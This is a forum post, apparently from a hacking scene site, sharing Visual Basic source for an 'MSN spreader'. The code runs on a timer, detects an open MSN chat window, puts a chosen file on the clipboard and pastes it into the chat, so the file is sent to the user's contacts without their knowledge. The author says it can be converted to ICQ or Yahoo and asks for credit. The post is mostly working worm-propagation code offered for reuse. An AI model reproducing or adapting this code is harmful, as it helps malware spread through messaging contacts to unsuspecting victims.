[Source] MSN Spreading Example by Slayer616 {ALL VERSIONS}
This is a small Example how to Spread Files over MSN easily. It should work with all MSN Versions.
You CAN modify it to a ICQ/Yahoo Spreader in a few Seconds (Change the Classname)!
Don't forget to Credit if you use it!
Have phun with it...
[Kein Bock auf Deutsch zu übersetzen...]
Zitat:
'--------------------------------------------------------------------------------------
'--------------------MSN SPREADING EXAMPLE by Slayer616--------------------
'--------------------------------------------------------------------------------------
'-------------------visit us @Scene-Coderz.com / HackHound.org--------------
'Author: Slayer616
'Credits: D3x (GetForegroundWindow)
' Tim Misset (Copy File to Clipboard)
'Special Thanks: Syntaxx_Err, omc, steve, Paran0id, Syler, Zacherl, Scott
' Who!, -silent-, Krippler, carb0n, whole HH staff & VIP
' whole SC-Team and other friends an supporters
'--------------------------------------------------------------------------------------
'Example:
'Use a Timer with a big Intervall
'on Tick set this: Call Spread
'Change the FilePath to your FilePath
'Have phun with it!
'--------------------------------------------------------------------------------------
'----------------DON'T FORGET TO CREDIT IF YOU USE THIS SAMPLE!-------
'-------------------------------------------------------------------------------------
Private Declare Sub Sleep Lib "kernel32" (ByVal lngMilliseconds As Long)
Public Type POINTAPI
x As Long
y As Long
End Type
Public Declare Function GetForegroundWindow Lib "user32" () As Long
Public Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal Hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long
Private Declare Function DragQueryFile Lib "shell32.dll" Alias "DragQueryFileA" (ByVal hDrop As Long, ByVal UINT As Long, ByVal lpStr As String, ByVal ch As Long) As Long
Private Declare Function GlobalAlloc Lib "kernel32" (ByVal wFlags As Long, ByVal dwBytes As Long) As Long
Private Declare Function GlobalLock Lib "kernel32" (ByVal hMem As Long) As Long
Private Declare Function GlobalUnlock Lib "kernel32" (ByVal hMem As Long) As Long
Private Declare Sub CopyMem Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Private Declare Function EmptyClipboard Lib "user32" () As Long
Private Declare Function OpenClipboard Lib "user32" (ByVal Hwnd As Long) As Long
Private Declare Function CloseClipboard Lib "user32" () As Long
Private Declare Function SetClipboardData Lib "user32" (ByVal wFormat As Long, ByVal hMem As Long) As Long
Private Declare Function GetClipboardData Lib "user32" (ByVal wFormat As Long) As Long
Private Declare Function IsClipboardFormatAvailable Lib "user32" (ByVal wFormat As Long) As Long
Private Const GHND = &H42
Private Const CF_HDROP = &HF
Private Const GET_DROP_COUNT = &HFFFFFFFF
Private Type DROPFILES
pFiles As Long
pt As POINTAPI
fNC As Long
fWide As Long
End Type
Dim iCounter As Integer
Dim DF As DROPFILES
Dim strFiles As String
Dim hGlobal As Long
Dim lpGlobal As Long
Dim hDrop As Long
Dim lFiles As Long
Dim strFile As String
Public Function Spread(PathToFile As String)
Dim cClass As String
Dim cWind As Long
cClass = Space(255)
cWind = GetForegroundWindow
cWind = GetClassName(cWind, cClass, 255)
cClass = Left(cClass, cWind)
If Trim(cClass) = "IMWindowClass" Then
Sleep 500
CopyFileToMem PathToFile
PastFile
CopyFileToMem PathToFile
PastFile
Call SendKeys("^v")
End If
End Function
Function CopyFileToMem(PathToTehFileS As String)
If OpenClipboard(frmMain.Hwnd) = 0 Then
CloseClipboard
Exit Function
End If
EmptyClipboard
strFiles = PathToTehFileS & vbNullChar
hGlobal = GlobalAlloc(GHND, Len(DF) + Len(strFiles))
If hGlobal Then
lpGlobal = GlobalLock(hGlobal)
DF.pFiles = Len(DF)
Call CopyMem(ByVal lpGlobal, DF, Len(DF))
Call CopyMem(ByVal (lpGlobal + Len(DF)), ByVal strFiles, Len(strFiles))
Call GlobalUnlock(hGlobal)
SetClipboardData CF_HDROP, hGlobal
End If
CloseClipboard
End Function
Function PastFile()
If IsClipboardFormatAvailable(CF_HDROP) = 0 Then Exit Function
If OpenClipboard(frmMain.Hwnd) = 0 Then
CloseClipboard
Exit Function
End If
hDrop = GetClipboardData(CF_HDROP)
lFiles = DragQueryFile(hDrop, -1&, "", 0)
strFile = Space(260)
For iCounter = 0 To lFiles - 1
Call DragQueryFile(hDrop, iCounter, strFile, Len(strFile))
Next
CloseClipboard
End Function